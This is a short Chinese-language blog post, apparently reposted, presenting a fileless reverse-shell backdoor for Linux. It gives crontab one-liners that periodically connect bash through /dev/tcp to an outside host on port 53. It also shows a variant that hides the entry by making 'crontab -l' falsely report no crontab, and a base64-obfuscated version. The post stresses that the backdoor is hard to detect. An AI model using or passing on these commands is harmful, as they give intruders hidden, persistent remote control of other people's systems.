无文件兼容性强的反弹后门

来源：互联网发布：linux vi之后怎么编辑编辑：程序博客网时间：2024/04/29 05:53

最好用一个不常见的用户执行，任务写入/var/spool/cron/$username (crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -升级猥琐版，crontab -l 直接提示no crontab for $username (crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -60分钟反连一次，在未连接状态启动反连任务的时候，进程和端口都无状态 -bash: connect: Connection refused -bash: /dev/tcp/dns.wuyun.org/53: Connection refused -bash: 9: Bad file descriptor -bash: 9: Bad file descriptor也就是说，你安装后，如果不连接成功，是很难被发现的。

#变异版本[root@localhost ~]# (crontab -l;echo '*/1 * * * * a=`echo "ZXhlYyA5PD4gL2Rldi90Y3AvbG9jYWxob3N0LzgwODA7ZXhlYyAwPCY5O2V4ZWMgMT4mOSAyPiYxOy9iaW4vYmFzaCAtLW5vcHJvZmlsZSAtaQ=="|base64 -d`;/bin/bash -c "$a";unset a')|crontab -

0 0